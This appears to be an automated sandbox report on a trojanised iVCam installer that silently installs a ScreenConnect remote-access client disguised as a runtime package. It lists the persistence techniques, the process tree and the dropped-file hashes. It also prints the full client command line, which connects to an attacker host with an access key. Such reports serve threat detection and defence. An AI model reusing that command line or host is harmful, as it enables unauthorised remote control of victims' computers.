Analysis

  • max time kernel
    149s
  • max time network
    127s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/07/2026, 06:04

General

  • Target
    ivcam/iVCam_x64_v7.4.0.exe
  • Size 505KB
  • Sample260710-gs2ktaft21
  • SHA256 8f47d7121ef6532ad9ad9901e44e237f5c30448b752028c58a9d19521414e40d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 22 IoCs
  • Checks for any installed AV software in registry 1 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 24 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 28 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

    Inno Setup installer

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ivcam\iVCam_x64_v7.4.0.exe
    "C:\Users\Admin\AppData\Local\Temp\ivcam\iVCam_x64_v7.4.0.exe"
    1⤵
    • Checks for any installed AV software in registry
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4304
    • C:\Users\Admin\AppData\Local\Temp\0ef5bf45.exe
      "C:\Users\Admin\AppData\Local\Temp\0ef5bf45.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3140
      • C:\Users\Admin\AppData\Local\Temp\is-QMHFI.tmp\0ef5bf45.tmp
        "C:\Users\Admin\AppData\Local\Temp\is-QMHFI.tmp\0ef5bf45.tmp" /SL5="$300B0,45808603,321024,C:\Users\Admin\AppData\Local\Temp\0ef5bf45.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:6040
    • C:\Windows\SysWOW64\msiexec.exe
      msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\B0A8B441.tmp /qn REBOOT=ReallySuppress
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:4856
    • C:\Windows\SysWOW64\msiexec.exe
      msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\C97CF851.tmp /qn REBOOT=ReallySuppress
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:4380
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4212
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding C544A01C947723B8159F0A5C91FC433A
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1152
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI7AC4.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240745312 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4192
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 3398D5E5280FCCE284B4C8A0EA719CBE E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:4508
  • C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=micro.vpn-expres.top&p=8041&s=b5062193-85fa-4b62-98b8-30d0fec35957&k=BgIAAACkAABSU0ExAAgAAAEAAQA16%2fTGkJuKzmPRwtRqFIPq13C%2fhtZf5v2d0VocPf2i%2b3Qx5O2NsVXQpvw%2bDd9crifO7s0xDarU2tV5Mfx%2fAFHd8Uk5q%2fFEcKbao%2fNyt1sCKoWPxRwGPNazIErFVLdUTQAwUAHFFsH%2fAI%2bRLJhl53QVgHaYcZAhLsW0gJdUEjQokrPA7dQtgjAToq%2bBOT0FoIQceYrnMpYerjcVsThac04E%2beYcPVy%2fX3y4P%2bFdCGFMSFmkoBtL9mQV1YSVfKuOD5dmo4kAFnoInvt2ZKpqL0zIbLs5ws5B56lGEuu17ZB9lCWs%2bcL2UUa4OP9AG%2bb%2bkZEMbgRLYySi4kViPUQndES6&c=ivcam&c=&c=&c=&c=&c=&c=&c="
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5564
    • C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsClient.exe" "RunRole" "6b0f484a-6c5d-4ed3-b948-261c3f91ecaf" "User"
      2⤵
      • Executes dropped EXE
      PID:3844
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:2812

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e596386.rbs

          • Path C:\Config.Msi\e596386.rbs
          • Size 214KB
          • SHA256 2f67664362d04aa84fcb2352d175c406b835fbbb34745649352bd1f61c89bc1d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\Client.Override.en-US.resources
          • Size 227B
          • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\Client.Override.resources
          • Size 4KB
          • SHA256 4b1351ff1b4c54808ba17abb1ba810c55066657688099457ec7568d0ed091335
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\app.config
          • Size 1KB
          • SHA256 a203fcde97bbea157f0620429cfc017aa501e86f8f5b7aa6080579fe313404d1
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\system.config
          • Size 958B
          • SHA256 36d7af4a76f321642cfd01c00b51e454182e118c6ce17916e59c755e2d0e5e93
          • MD5 SHA1 SHA512 TLSH

          0ef5bf45.exe

          • Path C:\Users\Admin\AppData\Local\Temp\0ef5bf45.exe
          • Size 44.2MB
          • SHA256 6b195b20a40da4afa627e41c5c6bdba5cb59dc5efe2c484f77218ed82a7fda17
          • MD5 SHA1 SHA512 SSDEEP TLSH

          B0A8B441.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\B0A8B441.tmp
          • Size 12.8MB
          • SHA256 b9b3095c002aa94edef93750a49bdf4104e1061bdf13d492a4bdc917fd87c96d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          dxsetup_dbg.log

          • Path C:\Users\Admin\AppData\Local\Temp\dxsetup_dbg.log
          • Size 934B
          • SHA256 ffae74bc8c25cdedb2977f3283cc359f552e786dd9e884ae26e924d792634dc9
          • MD5 SHA1 SHA512 TLSH

          0ef5bf45.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\is-QMHFI.tmp\0ef5bf45.tmp
          • Size 1.3MB
          • SHA256 9cce716d82b72a99db601b466d1376ea797ec3a8f98b77b8b96c9a7abd2c291b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI7AC4.tmp

          • Path C:\Windows\Installer\MSI7AC4.tmp
          • Size 1.0MB
          • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI7AC4.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI7AC4.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI7AC4.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI7AC4.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI811F.tmp

          • Path C:\Windows\Installer\MSI811F.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          DXError.log

          • Path C:\Windows\Logs\DXError.log
          • Size 554B
          • SHA256 02ed941063e7a8e91bde36b2ce8a53077f6ad03a23ba17ecc5ca8f5a8e376d50
          • MD5 SHA1 SHA512 TLSH

          1bfv3crg.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\1bfv3crg.newcfg
          • Size 584B
          • SHA256 7a561455adffb40c37dc1479af0698c1d7ea02760849e8e15a526c0bc85192ac
          • MD5 SHA1 SHA512 TLSH

          fjxnbi10.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\fjxnbi10.newcfg
          • Size 584B
          • SHA256 fe8d3df05c8deb4f142ab08f5379bdc76ecdb2b90af03daec47cbc8c3388ffa3
          • MD5 SHA1 SHA512 TLSH

          it0ybnuz.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\it0ybnuz.newcfg
          • Size 584B
          • SHA256 6e283dfe18140798cdd8463d606c2a718140d115ccad163901a3eaed30520627
          • MD5 SHA1 SHA512 TLSH

          po5uaysi.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\po5uaysi.newcfg
          • Size 584B
          • SHA256 c2e30e163ae3a161661e6bc86d6ddf6166945603535fd683188a06e35e2bfc0a
          • MD5 SHA1 SHA512 TLSH

          q435rj3p.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\q435rj3p.newcfg
          • Size 584B
          • SHA256 83c801e0f6d93fa59a3b8c1eba0db1a3ee89d6af24de66955d0573fa65e7cccc
          • MD5 SHA1 SHA512 TLSH

          sil02e5t.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\sil02e5t.newcfg
          • Size 584B
          • SHA256 6d1db5d97f745e857e9da3dd8a5d19c1b0457a2700d566fcf810414dbf44c559
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\user.config
          • Size 584B
          • SHA256 498a06654676d1833df501aa50c832c202d887c9832448121995ed624e3855fc
          • MD5 SHA1 SHA512 TLSH

          vzvdpntw.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\vzvdpntw.newcfg
          • Size 584B
          • SHA256 b08187b7310abb6754706e54ce38bb7ae3fe015a815742fd85c82303bfdb3dde
          • MD5 SHA1 SHA512 TLSH

          memory/3140-144-0x0000000000400000-0x0000000000458000-memory.dmp

          memory/3140-11-0x0000000000400000-0x0000000000458000-memory.dmp

          memory/3844-184-0x0000000002980000-0x0000000002998000-memory.dmp

          memory/3844-179-0x00000000006C0000-0x0000000000758000-memory.dmp

          memory/3844-180-0x00000000029C0000-0x00000000029F6000-memory.dmp

          memory/3844-181-0x000000001B3E0000-0x000000001B46E000-memory.dmp

          memory/3844-182-0x000000001B970000-0x000000001BB1C000-memory.dmp

          memory/3844-183-0x000000001BCB0000-0x000000001BE38000-memory.dmp

          memory/3844-185-0x0000000002B30000-0x0000000002B48000-memory.dmp

          memory/4192-96-0x0000000005E20000-0x00000000063DA000-memory.dmp

          memory/4192-87-0x00000000053B0000-0x00000000053BA000-memory.dmp

          memory/4192-91-0x0000000005470000-0x00000000054FE000-memory.dmp

          memory/4192-83-0x0000000005380000-0x00000000053AE000-memory.dmp

          memory/4192-95-0x00000000056B0000-0x000000000585C000-memory.dmp

          memory/5564-159-0x0000000004540000-0x0000000004590000-memory.dmp

          memory/5564-163-0x0000000004590000-0x00000000045C6000-memory.dmp

          memory/5564-169-0x0000000004A40000-0x0000000004B15000-memory.dmp

          memory/5564-165-0x0000000004850000-0x00000000048E2000-memory.dmp

          memory/5564-167-0x00000000047B0000-0x00000000047F1000-memory.dmp

          memory/5564-135-0x00000000042F0000-0x0000000004308000-memory.dmp

          memory/6040-215-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/6040-232-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/6040-247-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/6040-230-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/6040-263-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/6040-265-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/6040-164-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/6040-281-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/6040-283-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/6040-285-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/6040-200-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/6040-300-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/6040-302-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/6040-304-0x0000000000400000-0x000000000055E000-memory.dmp